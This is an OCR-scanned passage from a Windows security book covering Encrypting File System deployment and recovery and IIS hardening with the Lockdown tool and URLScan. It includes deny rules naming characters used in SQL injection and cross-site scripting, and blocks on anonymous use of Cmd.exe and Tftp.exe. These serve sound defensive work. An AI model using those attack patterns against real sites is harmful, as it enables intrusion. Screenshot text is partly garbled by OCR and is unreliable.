A great deal of sensitive information traverses networks, particularly
internal corporate networks, and any network user who has enough lo-
cal system access to run a sniffer could stumble across this data. Imple-
menting even the most simplistic preshared secret Server and Client
default policies will substantially limit the amount of unsecured data
traversing your network, foiling any would-be peeping toms. If a so-
phisticated attacker obtains the secret passphrase, they can easily
reverse the packet security, but if even 30 percent of network traffic is
encrypted, finding juicy information in all of the encrypted noise traffic
would require substantial time and effort.

If you've already had some experience with Windows IPSec, hope-
fully we’ve introduced some new material for you or clarified some of
the concepts. If this was your first experience with these facilities, we
hope we have provided you with enough information to experiment
with it and find some applications for IPSec on your systems. Attackers
are opportunistic, and Windows IPSec provides a powerful tool to limit
some of their opportunities. In Chapter 13, we'll take a look at one more
data encryption defense strategy, through the use of Windows
Encrypting File System.
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protecting files. As long as a system cannot be physically accessed,

the Windows operating system will provide adequate software level
protection to keep unauthorized parties from accessing sensitive data
on the physical disks. However, at the lowest levels, the NTFS file sys-
tem merely provides security descriptors for stored data; it is the re-
sponsibility of the operating system to ensure that the properties of
these descriptors are actually enforced. If the file system is accessed by a
non-compliant operating system or utility, the file system security can
be ignored completely, and all files can be accessed unfettered. Unless a
backup solution provides a strong encryption solution, the same con-
cerns apply to backup media as well.

Another of the host of built-in security solutions in Windows 2000 and
above is the EFS (Encrypting File System). EFS offers operating system-level
file encryption facilities, providing transparent storage security based on a
public key system indirectly employing X.509 certificates for file encryp-
tion, in a system we’ll describe shortly. This system offers the ability for
files to be encrypted to multiple user keys with minimal overhead and is
exercised in EFS to provide data recovery facilities that can be easily de-
ployed using the group policies discussed in Chapter 12.

In the absence of external influences, NTFS does an excellent job of

HOW EFS WORKS

EFS employs extended attributes in the NTFS file system to manage the en-
cryption keys of files and folders that have been tagged for encryption
from the user interface. The operating system provides the encryption and
decryption facilities in memory, securing data between the storage system
drivers and the presentation of the data to (or from) the requesting applica-
tions, in a catch-all fashion remarkably similar to that of the IP security pro-
tocol suite. At the user-interface level, EFS is managed as a file or folder
property, and the decryption keys are managed through this interface in
Windows Explorer (or with a command-line utility, CIPHER).
Which means what, exactly?

Public Key Cryptography and EFS

EFS owes many of its properties, such as data recovery and simple key
management, to its implementation of public key cryptography meth-
ods. File system encryption can impose a substantial overhead on the
operating system, even when simple, single shared-secret encryption
algorithms are used. With such a system, only one known key can be
used to decrypt the information. So if you had separate shared-secrets
in place with two different people with whom you had to share a file,
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you would need to maintain two separate copies of the file or extend
one of your shared-secrets to include both of your colleagues. This
shared-secret encryption is referred to as symmetric, because the same
key that is used to encrypt the data can be used to decrypt it. With public
key cryptography, on the other hand, data encrypted to the public half
of a user’s keypair can only be decrypted by the user’s private key.

To provide speedy encryption facilities that will still allow simple
management of multiple user decryption keys, EFS combines the perfor-
mance aspects of relatively simple symmetric encryption with the greater
security afforded by employing public key encryption techniques. When
EFS is used to encrypt a file, the actual cipher recorded to disk is en-
crypted to a single specific key (referred to as the file encryption key),
which is randomly generated by the operating system. This single-key
symmetric encryption is fairly quick, even on large files, and does not re-
quire a great deal of additional space to store encrypted data. Next, the
file encryption key is encrypted using the public keys of all users associ-
ated with the encrypted resource, as well as any defined data recovery keys.
Because the file encryption key is relatively short, this encryption is ex-
tremely fast, even though public key encryption is typically slower than
symmetric encryption. These user decryption keys are then stored as ex-
tended attributes for the file, the original file encryption key is destroyed,
and only users who possess the private key half of a keypair included in
the list of decryption keys can determine the original file encryption key.

User Encryption Certificates

One of the common obstacles in deploying file encryption has been the
load imposed on the user. Third-party solutions would often require
the user to enter a passphrase to access any encrypted resource, and
some would require the user to manage the encryption and decryption
themselves: decrypt the file, edit it, re-encrypt it. A simple user error
could result in a lost file, causing helpdesk calls and lost productivity.
EFS takes advantage of several facilities in the Windows operating sys-
tem to minimize user-interaction, moving much of the administrative
activity into the operating system itself, and relying on Windows secu-
rity facilities to provide the encryption and decryption keys.

When a user first enables EFS on a file or directory structure, Win-
dows checks with the CSP (Cryptographic Services Provider) to determine
if the user has a valid X.509 certificate that can be used for encryption
purposes. If not, the CSP creates one by either requesting a certificate
from the Enterprise CA defined within the Active Directory structure,
or if none is available, generating and self-signing a certificate for en-
cryption purposes. Windows also verifies that a Data Recovery Agentis
specified in the current GPO; without a recovery agent, EFS is disabled.
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Active Directory certificate services offer the greatest benefit to us-
ers of EFS. Administrators can configure the Enterprise CAs to automat-
ically issue user encryption certificates to approved domain users, and
those certificates are stored in AD, which greatly simplifies the process
of locating other users” keys to add to an encrypted file. Finally, in an
Active Directory, the data recovery agents are defined in group policies,
so appointed officials in the organization can maintain recovery keys
for all data encrypted with EFS.

However, Microsoft wanted to ensure that EFS could be used out of
the box, regardless of domain infrastructure, and so facilities exist to use
EFS with self-signed (locally created) certificates, rather than relying on
an external certificate authority. This actually occurs on installation of
the operating system—a data recovery key is automatically generated
for the Administrator account and is assigned as the data recovery
agent in the Local GPO, enabling EFS on the system.

The standalone implementation of EFS provides a great deal of se-
curity and can be easily employed by a single user on his own system.
But without a centralized key management facility, the usefulness of
EFS declines if the user wants to share his encrypted files with other us-
ers of the system. Often, the user will need to import another individ-
ual’s certificate before he can add the individual to the decryption keys
associated with a file. This frequently limits use of EFS in organizations
without Active Directory to only the most technical of users. Through-
out this chapter, we will concentrate on the use of Active Directory
certificate services to manage EFS.

g‘{ An important note regarding standalone EFS setups: Back up the Administrator’s data
recovery key! In the event of a cataclysmic system failure, it is possible to lose all user
certificates, including the Administrator’s recovery key. To ensure smooth recovery in
case of such an event, use the Certificates snap-in in the MMC to export the certificate,
including the private key, to offline media. Store this media in a safe location.

IMPLEMENTING EFS

The first step in deploying Encrypting File Services for the users of an Ac-
tive Directory-based domain is to develop your data recovery policy and
apply it to the highest level GPO in your directory. Without at least one
data recovery agent defined in its effective policy, Windows will not al-
low use of EFS. Next, you must provide a method for individual domain
users to obtain the certificates that provide the public/private keypair
that EFS employs. This is usually done by implementing an Enterprise
Certificate Authority within the Active Directory and configuring
auto-enroll facilities for the appropriate users and groups. Finally, users
need to be educated as to when and how to implement file encryption.
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Adding Data Recovery Agents

When a file is encrypted using EFS, the file encryption key is encrypted
to the public keys of one or more data recovery agents who are defined
in the current group policy. This ensures that the unencrypted file can
be recovered if the other keys associated with the file are lost, either
through human error or malicious events. Without this assurance, file
encryption is a risky business. Before deploying EFS on any scale, the
role of data recovery agent should be carefully considered. In most
cases, system administrators are not the best choice, as EFS can be used
to exclude all-powerful administrators from file content when they can-
not be excluded from file access. (Of course, a determined administrator
or privileged attacker could always use a tool to capture the data just be-
fore it’s encrypted or as it’s being decrypted.)

In most organizations, data recovery responsibilities will be sepa-
rated from the domain administrators and are often entrusted to se-
lected company officers. Typically, this user will need to obtain a new
X.509 certificate specifically for EFS data recovery, and then provide the
public portion of this key to the domain administrators, who can apply
the key to the relevant group policies. After this process is complete, all
EFS-encrypted data on systems affected by the GPO will include the
new recovery agent’s key.

Certificates for data recovery can either be generated automatically
in the Group Policy Object editor, or they can be requested from a Cer-
tificate Authority directly through a web interface or using the Certifi-
cates snap-in for the Microsoft Management Console. In all cases, the
data recovery agent user will need to have been assigned permissions
for requesting EFS Data Recovery certificates. We will briefly cover the
process for requesting the key using the Certificates snap-in. This pro-
cess assumes that the logged-in user is the data recovery agent and that
the certificate server is configured to allow data recovery certificate re-
quests from the user:

Open MMC by selecting Start | Run... | mmc.exe.
From the File menu, select Add/Remove Snap-in...

Click Add... and then select Certificates.

Click Add. When prompted, accept default of My User Account to
show only the certificates associated with the user’s local account.

5. Click Close; then OK to return to the MMC.
6. Expand Certificates-Current User | Personal | Certificates.

7. Right-click in the right-hand pane and select All Tasks |
Request New Certificate... (See Figure 13-1.)
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8. Click Next to begin the request wizard.
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9. From the Certificate Types listing, select EFS Recovery Agent
or the template name used for data recovery in your domain,
and check the Advanced box to specify additional key
characteristics. Click Next.

10. Adjust the Cryptographic Service Provider properties to
your preference. Be sure to select Enable Strong Private
Key Encryption...

11. Click Next and complete the wizard.

Depending on the configuration of the CA, you will receive either a
message indicating that the certificate request has been submitted and is
pending approval or the certificate and a CryptoAPI warning message
asking if it's okay to save the new certificate. If the CA requires approvals,
an administrator will usually provide you with a certificate file to import
a short while later, which you can import into from All Tasks | Import....

Whichever method is employed, in the end, the certificate will be
imported into the data recovery agent’s store, as shown in Figure 13-2.
Now the user simply needs to export the public portion of his key for an
Administrator to add to the data recovery agents in the group policies.

1. From within the management console (Figure 13-2), right-click
the File Recovery key and select All Tasks | Export...

2. Click Next to start the Certificate Export Wizard.

3. Select No, do not export the private key and then click Next.

4. Accept the default format DER Encoded Binary X.509 (.CER)
and click Next.

i Consoled - [Console Root\Certificates - Current User\Personal]
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- Active|  View | Request
-7 Trustel  Mew Window from Here | Import...
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[ Third4 New Taskpad Yiew. .. 2

#-[] Truste  Refrash
Expork List...

Help

a3 ! >

IRequest a new certificate from a certification authority (CaAYin your dom

Figure 13-1. Requesting a new certificate from MMC



Chapter 13:  Encrypting File System 205
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Figure 13-2.  Afile recovery certificate installed in the personal certificate store

5. Specify a filename to save the Certificate to; then click Next.

6. Click Finish to export the certificate.

Finally, the user sends the exported certificate file to the administra-
tor responsible for managing the group policies for the organization, who
adds the certificate to the GPO setting Computer Configuration | Win-
dows Settings | Security Settings | Public Key Policies | Encrypting File
System. After the changes to the GPO take effect, any encrypted docu-
ments in the domain will include the new data recovery agent’s key, as
shown in Figure 13-3.

'e,l‘ Because the private half of a data recovery agent key can be used to decrypt just
about any EFS encrypted file in the domain, special steps should be taken to pro-
tect it. The certificate can be exported to floppy disk (including the private key) and
then deleted from any certificate stores to reduce the chance of an attacker hijack-
ing the key for her own purposes. When the key is needed, it can be restored from
the floppy disk. Needless to say, a few copies of that disk may be advisable.

Configuring Auto-Enroll User Certificates

If there are Enterprise Certificate Authorities already deployed else-
where in your Active Directory, arrangements should be made with the
administrators of those systems to provide automatic enrollment for
domain users to obtain EFS certificates. In this section, we will present
the basic steps necessary for an organization with no Enterprise CAs to
implement one and get it configured to allow domain users to transpar-
ently obtain certificates for file encryption. Microsoft provides a much
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Figure 13-3. Properties for an EFS encrypted file

more detailed description of these proceedings in the TechNet article
at http://www.microsoft.com/technet/prodtechnol /windowsserver2003/
plan/autoenro.asp. This article is recommended reading for adminis-
trators of all but the most simple Active Directories.

6 Because user certificates are kept in the user’s protected storage, no matter how
strong the file encryption is, it is still only as strong as the user’s password. If an at-
tacker can acquire a user's password and log on with his or her credentials, the
EFS private key will be laid bare, and any additional protection afforded by EFS is
lost. Strong passwords or two-factor authentication helps minimize this risk, and
most smart-card systems can actually store user certificates on the hardware de-
vice, instead of under the password security for protected storage.

Setting Up Certificate Server

If you do not have a certificate server available, installation is a simple
matter on any Windows Server 2000 or above. If the server is a member
of an Active Directory domain, the server can be installed as an Enter-
prise Root CA, which allows tight integration with Active Directory and
permits the transparent certificate issuance we are hoping for. This
should be selected only if there are no other CAs in the forest.
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ﬂ If you are installing Certificate Services on Windows Server 2003 and intend to use
the Web Enrollment services to allow clients to request certificates from a web
browser, be sure to install Internet Information Services 6.0 first. If Certificate Ser-
vices are installed before IIS, adding the Certificate Services Web Enroliment and
properly configuring permissions can be very challenging. You can uninstall Certifi-
cate Services and reinstall after 1IS to get around this hurdle.

To install Certificate Services:

1. From the Control Panel, select Add/Remove Programs.
2. Click Add/Remove Windows Components.

3. From the list of available components, select the check box next
to Certificate Services. If desired, click Details and confirm that
the Web Enrollment Support option is selected.

4. Click Next.
5. Select Enterprise Root CA and click Next

6. Enter a name for your certificate authority and verify the
validity period; then click Next.

7. After the key has generated, confirm the locations for the
certificate database and log file; then click Next.

Certificate services are now installed on your system. You can verify
the installation by opening the Microsoft Management Console and
adding the Certification Authority snap-in. The Certification Authority
snap-in is shown in Figure 13-4. There are a number of steps remaining
before domain users will begin requesting certificates of this CA how-
ever. First, we must create a certificate template for the CA to use.

1. Start the MMC and add the snap-ins Certificate Authority
and Certificate Templates.

2. Select Certificate Templates.

3. In the left-hand panel, right-click User and select Duplicate
Template.

4. On the General tab of the Template Properties dialog box, enter
a friendly template name, verify validity and renewal time
frames, and select the check box Publish Certificate in Active
Directory.

5. On the Request Handling tab, ensure that Enroll subject
without requiring any user input is selected.
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Figure 13-4. The Certification Authority snap-in

6. On the Security tab, set the Enroll and Autoenroll rights for all
users and groups who you want to be able to automatically
request certificates; for example, Domain Users.

7. Click OK to save the new template.

Now, we need to add the new certificate template to our Certifica-
tion Authority. Expand the Certification Authority tree and select the
Certificate Templates folder.

1. Right-click Certificate Templates and select New | Certificate
Template to Issue.

2. Select the Certificate Template you created in step 7 of the
previous list and click OK.

The last step is to ensure that the GPOs applied to your clients direct
them to use the Enterprise CA for their certificate needs. This allows the
clients to auto-enroll for EFS certificates as well as use the Certificates
snap-in module to MMC to request other certificates as well.

To configure auto-enrollment at the group policy level:

1. Using the Group Policy Management Console or the properties
page for the site or domain whose GPO you want to edit, launch
the Group Policy Object editor.

2. Expand User Configuration | Windows Settings | Security
Settings | Public Key Policies.

3. In the right-hand panel, double-click Autoenrollment Settings.
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4. Select Enroll Certificates Automatically and check the boxes for
Renew Expired Certificates... and Update Certificates.... These
settings help automate certificate maintenance.

And we’re done. After the group policies have been applied, your do-
main users will be configured to automatically request EFS certificates
from your Enterprise root CA. If you’d like to force the Group Policy up-
date on a client, you can use the gpudpdate tool on Windows XP or 2003,
or the secedit/refreshpolicy command on Windows 2000 systems. If a
user has already had a self-signed EFS certificate created locally, this cer-
tificate will need to be deleted before the user requests a key from the cen-
tral CA. Before deleting the local key, the user should be sure to decrypt
all documents or she will be unable to decrypt them after the key has been
deleted. Alternatively, users can export their locally created key before
deleting it in case they later find they require the old certificate again.

Using Encrypting File System
Whether in an Active Directory-based domain with an Enterprise root
CA or on a standalone Windows XP laptop, the use of EFS remains the
same. The user interactions are actually very simple, which is the core
advantage of EFS. By offloading authentication and key management
services to the Cryptographic Service Provider, EFS requires no user
interaction beyond being told what to encrypt.

Encrypting or Decrypting a File or Directory with EFS

The file encryption option for a file or directory is available in the ad-
vanced attributes of the File Properties dialog box, which allows users to
enable encryption from any common Windows file browser dialog box.

1. In any file browser, right-click the file or directory you want
to enable encryption on and select Properties.

2. On the General tab, click Advanced...

3. Check the box marked Encrypt contents to secure data.

The Advanced Attributes dialog box is shown in Figure 13-5. When
you first enable encryption, the Details button is disabled. After you
have applied the encryption, you can use the encryption Details dialog
box to add or remove additional encryption keys, as described next.

«fs Because EFS relies on extended NTFS file attributes to store encryption data,
copying an EFS encrypted file to a non-NTFS partition results in a plaintext ver-
sion of the file. EFS encrypted files can be copied between NTFS partitions with-
out ill effect.
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1
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Figure 13-5. Enabling EFS via the Advanced Attributes dialog box

Adding User Keys to an EFS Encrypted File

After a file has been encrypted, the same advanced Properties dialog
box described earlier can be used to add additional users who should be
able to decrypt the file. Additional keys can be added by anyone who
has a valid private key for the file data and who also has the Write Ex-
tended Attributes right for the file. To add or remove a user from a file:

1. In the file properties dialog box, select Advanced...
2. In the Advanced Attributes dialog box, click Details.

3. Use the Add and Remove buttons to select the users who
should have access to this file.

4. Click OK.

The specified users will now have the ability to access the file, pro-
vided that they have the correct file permissions in place. Note that you
cannot change the user keys specified in Data Recovery Agents; these
are the data recovery certificates specified by the winning GPO.

Recovering an EFS Encrypted File

When all the approved decryption keys for an EFS encrypted file have
been lost, the file can be recovered by any data-recovery agents who are
specified in the encryption details dialog box just described. However,
caution must be exercised to preserve the encryption attributes when
presenting the file to the data-recovery agent. Because a user with no
decryption key cannot access the file within the context of the Windows
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Explorer, the file must be backed up with a software package that will
preserve the NTFS file attributes. If no third-party packages are in-
stalled, the native Windows backup utility can be used.

While the data recovery agent could import the data recovery key
and conduct the file restore on the local user’s system, this approach
leaves the possibility that the data recovery agent’s private key would
be captured, so best practices dictate that recovery of EFS files be done
offline, or at least limited to the (well-protected) desktop of the data re-
covery agent. The process for restoring a file within these constraints,
using the Windows backup tool, is as follows:

1. On the system hosting the encrypted file, start the Windows
Backup utility by selecting Start | Programs | Accessories |
[System Tools] | Backup.

2. When prompted to start the Backup and Recovery Wizard,
select the Advanced Mode link on the wizard Start page.

3. From the Backup tab of the Backup Utility window, select any
encrypted files or folders that you would like to submit to the
data recovery agent.

4. Change the Backup Destination to File.

5. Enter the name and location for the backup file. In our
example, this is E:\Please_Restore.bkf (see Figure 13-6).

6. Click Start Backup; then click Start Backup again.

7. When the backup is completed, send the backup file to the
data recovery agent.

When the data recovery agent receives the backup file, she will re-
store the file(s) from the archive to an alternative location on her com-
puter. The files must be restored to an NTFS partition on a system
running Windows 2000 or higher. Once restored, the files can be tagged
unencrypted from the File Properties dialog box, as explained above,
and then returned to the requester by a variety of means—e-mail, man-
ual transfer via floppy, or by creating a new backup file with the
unencrypted contents. Because the files are likely sensitive, the data re-
covery agent can also re-enable encryption on the file before returning it
by simply adding the requester’s new encryption key beforehand.

Of course, we have not mentioned here the internal business pro-
cesses that should be in place to support data recovery. Before an agent
restores a file, there should be steps taken to ensure that the decryption
request is legitimate. Because their key is attached to all encrypted files,
data recovery agents are likely to become targets of social engineering,
and a formal process for data recovery should be made available to help
prevent agents from assisting a resourceful attacker.
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Figure 13-6. Using the Windows Backup utility to submit an EFS encrypted file to a data
recovery agent

SUMMARY

Along with IP Security, the Encrypting File System is among the most
powerful and underused components of Windows 2000 and above. As
shown in this chapter, EFS is very simple to use but a bit more challeng-
ing to use correctly. The procedures described in this chapter are com-
plete, but every environment has its own set of requirements that may
influence how EFS can be deployed. As such, the details of the imple-
mentation will likely vary—for example, you may want a different
group of data recovery agents to service Executive-level systems than
you would the Sales desktops.

Itis important to note that EFS alone does not a secure system make.
EFS compliments other Windows security facilities, providing solutions
to longstanding system administration issues, such as how to keep ad-
ministrators out of sensitive documents. EFS does not provide network-
level encryption, so an EFS-protected file crossing the wire is susceptible
to sniffing attacks. Deployed in conjunction with basic IP security (as
discussed in Chapter 12), however, EFS can make sensitive documents
very difficult for unauthorized parties to obtain. In the next chapter,
we’ll present our last batch of Windows security tools, those tasked
with securing Internet Information Services.
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Internet Information Services (IIS) has historically provided a

number of possible avenues for an attacker seeking a point of en-
try. Numerous buffer overflows in the default ISAPI services have been
used in countless attacks, some even exploited by autonomous intrud-
ers such as the Code Red and Nimda worms. The frequency and sever-
ity of these issues affecting the latest (and presumably the most secure)
Windows operating system gave Microsoft’s detractors plenty of am-
munition.

One of the challenges Microsoft faces in assisting their customers
and mitigating the risks imposed from vulnerabilities discovered in
IIS 5.0 is its own default configuration. AIl IIS 5.0 books and documenta-
tion currently published are written with the assumption that the reader’s
system is a default installation of IIS. Third-party applications that de-
pend on default ISAPI applications may fail to install properly if the de-
fault configuration has been changed. Microsoft has had to respect its
own defaults and work to provide customers solutions after the fact. In
this chapter, we introduce a few of the tools Microsoft has provided to
assist administrators in securing their IIS installations.

With Windows Server 2003, a whole new operating system, Microsoft
has shed its previous defaults and the new IIS 6.0 configuration is secure
out of the box. As such, the tools described in this chapter do not apply
to Windows Server 2003 and IIS 6.0.

ﬁ s we discussed in Chapter 7, the Windows operating system

SIMPLIFYING SECURITY

The administrator of a Windows-based web farm might have tens
or hundreds of individual IIS web sites to manage. While automated
update tools (discussed in Chapter 11) can simplify the process of ob-
taining and executing updates, other security precautions require that
certain services or functions be disabled within IIS itself. These settings
cannot be addressed in patches because altering server functionality in
a patch could cause integration problems in many environments.
Adding another layer of complexity, some IIS security settings are not
exposed by the Internet Services Manager snap-in and must be set in the
IIS metabase, a laborious process similar to editing the Windows registry.

The tools we discuss in this section help administrators to imple-
ment more advanced security features on their IIS web sites. We will
start with the wizard-based IIS Lockdown tool, which provides a sim-
ple interface to configuring web site parameters and IIS metabase
settings by simply selecting the server role. Next we’ll discuss one of
the utilities installed by the IIS Lockdown tool, the ISAPI filter applica-
tion URLScan. URLScan can also be implemented independent of the
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Lockdown tool and offers attack detection and filtering capabilities.
Finally, we'll cover the IIS Metabase editor, an advanced configuration
tool that offers a glimpse into the inner workings of IIS.

The IIS Lockdown Tool

Designed to make securing IIS a simple point-and-click process, the IIS
Lockdown tool can set IIS security settings based on a number of default
templates (representing common Microsoft IIS applications, such as
Commerce Server, Exchange Server, and many others). Depending on
the application, many servers can be locked down without answering
any technical questions—just choose the server template and apply the
changes. The Lockdown tool also eases administrator’s concerns about
possibly breaking the site by providing an Undo facility.

The IIS Lockdown tool can be accessed from Microsoft’s TechNet
pages at http:/ /www.microsoft.com/technet/security / tools/ tools /locktool
.asp. The tool is a simple executable that runs the Lockdown Wizard
process. After the introduction page and the license agreement, the
Server Templates page is displayed (see Figure 14-1). The options here
allow an administrator running one of the server applications listed to

% Internet Information Services Lockdown Wizard
Select Server Template ':‘J';
V'ou can easily configure this server by selecting the template that most closely e

matches its role.

Select the termplate that most clozely matches the rale of thiz server. To view the zettings for this
template, select the Yiew template zettingz check box, and then click Mext.

Server templates:

Small Business Server 2000

Exchange Server 5.5 (Outlook ‘wWeb Access]

Erchange Server 2000 (0w, PF Management, (M, SMTE, NNTF]
ShareFoint Portal Server

FrontPage Server Estensions

SharePoint Team Services

BizTalk Server 2000

Commerce Server 2000

Prowy Server

Static Web server

Dynamic Web zerver (5P enabled) —
Other [Server that does not match any of the listed roles) LI

Serwer that does nat reaoire 115

I Wiew template settings

< Back I [diEwt > | Cancel | Help
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Figure 14-1.  Selecting a server template in the IIS Lockdown Wizard
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apply a tested security configuration to their sites. To review the secu-
rity options the IIS Lockdown Wizard can set, select a template from the
list and select the View template settings check box; then click Next.
For our examples, we have selected the Other template on a default
IIS 5.0 installation.

As you step through the wizard, you are prompted to disable or
uninstall services (note that if you uninstall a service, the Lockdown
tool’s Undo feature will not reinstall it), remove or replace the default
ISAPI application mappings (this is applied to all web sites), or remove
the virtual directories installed by default with IIS. This third page Ad-
ditional Security (see Figure 14-2) can also apply file system permis-
sions to prevent the Internet guest accounts from accessing system
executables or writing files to directories that are configured as web
sites. This page can also disable the IIS WebDAYV facilities, a procedure
that otherwise requires access to the IIS metabase (described later in
this chapter in “IIS Metabase Editor”).

The last configuration panel determines whether or not the IIS
Lockdown tool installs and configures the URLScan ISAPI filter. If
selected, the wizard installs and configures URLScan in a fashion
that matches the settings that were enabled or disabled with the IIS

% Internet Information Services Lockdown Wizard E3
Additional 5ecurity r._-",}
'ou can make additional changes to thiz server for added zecurity. —:!I.‘x\

Femave the selected virtual directaries from this server [items that appear unavailable
have already been remaoved):

1l i ¥ Scripts
v MSADC v 115 &drmin
v lISHelp

Set file permissions bo prevent anonymous (1S uzers from performing these achions:
¥ Bunning system utilities [for example, Cmd.exe, Tip.exe]

V¥ Wiriting to content directories

v Dizable web Distributed &uthoring and Yersioning [webDisy]

< Back I Mext > I Cancel | Help

Figure 14-2. The Additional Security page of the IIS Lockdown Wizard
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Lockdown tool. The panel warns that if you install URLScan, you may
be enabling or disabling functionality unnecessarily and encourages
that you review the URLScan documentation. We’ll discuss URLScan
on the next page.

Finally, the wizard presents a list of all the tasks that it will perform
based on your template and any changes you made on the subsequent
pages. When you click Next, the IIS Lockdown process begins, and the
status window will provide a running log of the steps the tool is taking
to secure the services. For most lockdowns, IIS will have to be restarted
during this process. When the wizard completes, you have the option of
viewing the log of actions performed; we recommend reviewing this log
for a better understanding of how the IIS Lockdown tool works and
what changes were made.

After you've run the wizard and applied your changes, you should
run through your site and verify that all expected functionality is in
place. If anything seems amiss, re-running the wizard allows you to
back out all the changes made previously. When the changes are backed
out, test the site again (to ensure the issue was in fact due to the
Lockdown tool) and then re-run the IIS Lockdown Wizard.

How the IIS Lockdown Tool Works

Most of the steps performed by the wizard are the same that we have
described elsewhere in this book. Based on the selections in the wizard
(or the template definition), the Lockdown tool:

B Disables or uninstalls IIS services that are not required, including
FTP, NNTP, SMTP and/or the World Wide Web Publishing
service. Note that if the Lockdown tool uninstalls a service (as
opposed to simply disabling it), the service can be reinstalled
only from the Add/Remove Windows Components option in
Add/Remove Programs.

B Removes the default ISAPI Script mappings, not by deleting
the mappings as we have done in earlier chapters, but by
associating the default mappings with “404.dll,” which simply
returns a Page Not Found error for any requests with an ISAPI
extension.

B Removes the default virtual directories IISSamples, [ISAdmin,
Printers, MSADC, and IISAdmin. IISAdmin is difficult to remove
using the Internet Services Manager and can sometimes require
direct editing of the IIS metabase.

Ayanaag huiAydwis

B Creates the new user groups Web Anonymous Users and Web
Applications, and adds the user accounts IUSR_ and IWAM_
to these groups, respectively.



21 8 Part IV:  Windows Security Tools

B Sets file system permissions denying write access to any IIS
content directories for the new user groups.

B Sets file system permissions denying any access to utilities
under the Windows system directory for the new user groups.

B Disables support for the WebDAV HTTP methods in the IIS
metabase.

B Installs and configures the URLScan ISAPI filter, as
discussed next.

URLScan ISAPI Filter Application

The URLScan ISAPI filter processes inbound HTTP requests before they
are received by IIS itself and puts the request through a security
pre-screen based on parameters set in its configuration file, urlscan.ini.
URLScan has been aptly compared to an HTTP virus scanner, except
that while a virus scanner is concerned with the data being transferred,
URLScan concentrates on the parameters that establish the data transfer
(the URL). While the use of this filter will block a substantial percentage
of known IIS attacks, it is not intended nor will it suffice as an alternative
to keeping up with patches and service packs. While URLScan installa-
tions have been successful in blocking some newly discovered threats,
other new exploits have required new versions of URLScan to recognize
the new attack profile.

Depending on the template chosen in the IIS Lockdown Wizard,
URLScan is usually installed and configured to loosely match the set-
tings defined in the wizard. For the adventurous, URLScan can also be
installed manually, as described next. While updates to URLScan can
be installed manually, the initial URLScan installation must be per-
formed by the installer that is included with the IIS Lockdown tool.
When you perform a manual installation, URLScan is activated with
an extremely strict set of rules, so you may want to try this on a
non-production server first:

1. Download the IIS Lockdown tool from the Microsoft TechNet
pages at http:/ /www.microsoft.com/technet/security /tools/
tools/locktool.asp and save the file to disk.

2. Open a command prompt and navigate to the directory where
you saved iislockd.exe.

3. Use command-line switches to extract the IIS Lockdown tool
installation files:

c:\temp>iislockd.exe /g /c /t:c:\temp\urlscan

4. Navigate to the temporary directory from step 3:

c:\temp>cd \temp\urlscan
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5. Run the URLScan installer program urlscan.exe:

c:\temp\urlscan>urlscan.exe

The installer will prompt you only to restart the World Wide Web
publishing service for your changes to take effect. By default, the
URLScan ISAPI filter is installed and its configuration files are installed
in %WINDIR%\System32\inetsrv\urlscan. The filter is installed and
applied to the master WWW Service and all installed web sites.

«f\ At the time of this writing, there is an update available to URLScan with better
logging features and new configuration options prompted by recent chunked-
encoding style attacks. This update can be applied only after URLScan has been
installed by the IIS Lockdown tool or by the method just described. The update and
documentation are available at the TechNet URLScan page at http://www
.microsoft.com/technet/security/tools/tools/urlscan.asp.

URLScan reads its configuration from the urlscan.ini file, which is
installed in the same directory as the URLScan filter, %WINDIR%\
System32\inetsrv\urlscan. The configuration file is fairly straightfor-
ward: in the [Options] section, you define the basic behaviors of URLScan,
and in the [Allow...] and [Deny...] sections you define specific URL
properties to filter upon. Aside from the settings included in the de-
faults, Table 15-1 lists a number of options you may want to set in your
URLScan configuration file.

Setting Description

AlternateServerName | When this setting is present, URLScan will replace
the Server: header on HTTP responses with the
string defined here. Surprisingly, some automated
tools do verify banners before launching attacks,
so this setting can be good to change.

[DenyUrlSequences] | There are a few additional URL sequences that
section are best blocked if not specifically used by the
web applications:
* (back-tick)—no legitimate use
’ (apostrophe)—can be used in SQL attacks
> (greater-than)—common in cross-site scripting
attacks
< (less-than)—same as above

[DenyHeaders] section = If an updated URLScan with chunked-encoding
options is not installed, adding Transfer-Encoding:
to this section will block these requests

[AllowVerbs] or The HEAD verb is permitted by default, but there
[DenyVerbs] sections | are very few legitimate reasons for HEAD requests.
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Table 14-1.  Additional urlscan.ini Settings
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Disabling URLScan

If URLScan has a negative impact on a web application, it will probably
do so very quickly. If you need to get the web server back up and run-
ning quickly, you can do so by simply disabling the URLScan ISAPI fil-
ter on the server from the Internet Service Manager:

1.

N ook

Open the Internet Services Manager by selecting Start | Run |
inetmgr.

. In the right-hand panel, right-click the web server for which

you want to disable URLScan and then click Properties.

On the Internet Information Services tab, select WWW Service
and click Edit.

Click the ISAPI Filters tab.
In the Filters list, select UrlScan and click Remove.
Click Apply.

Click OK and then click OK again to return to the Internet
Services Manager.

The site should now work properly. Review the web applications
requirements, make the necessary changes to the urlscan.ini file, and
re-enable URLScan by doing the following:

Bow N =

Follow steps 1—4 above to get back to the ISAPI Filters tab.
Click Add.
Enter the ISAPI Filter Name UrlScan.

Click Browse and navigate to the urlscan.dll file, usually
located in %WINDIR%\System32\inetsrv\urlscan.dll.
Click OK. UrlScan will be added but will list its priority as
* Unknown *.

Return to Internet Services Manager and restart IIS by
right-clicking the web server and selecting Restart IIS.
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IIS Metabase Editor

The last IIS security tool of note is the IIS Metabase Editor, an advanced
configuration tool available from Microsoft. The IIS metabase is a con-
figuration database similar to the Windows registry and is responsible
for storing various settings for IIS services in a hierarchical format. Be-
fore the IIS Lockdown Tool, certain security tasks such as completely
removing the Printers and IISAdmin virtual directories required the ad-
ministrator to install the Metabase Editor and delete the keys associated
with these directories. Now, there aren’t many reasons to directly edit
the metabase (and as clearly indicated on Microsoft’s web site, it is pos-
sible to do irreparable damage using the Metabase Editor), but it is still
an educational process to download the tool and have a look at the inner
configuration of the IIS services.

The IIS Metabase Editor tool can be downloaded from http:/ /sup-
port.microsoft.com/default.aspx?scid=KB;EN-US;232068. Figure 14-3 shows
the Metabase Editor open to the default web site on NAIVE, the system
we were attacking in Chapter 7.

& Metabase Editor M= E
Metzbaze Edt View Help
= L [ [ Name | Atirbukes | UT | DT | Data []
+ ®-0 EventManager 58] . Aloakespdive  Inh File D.. 1
- NISADMIN 8] .. AnonymousPass.. Inh File Do
- @[] Legging lab] . AnonymousUser,  Inh File St IUSR_MNANE
| -3 MimeMep [38] . anonymousUser.  Inh Ses File St Mol Displayed™
- T Smipse B .. AppAlowCienD.. Ink ASP.. D. O
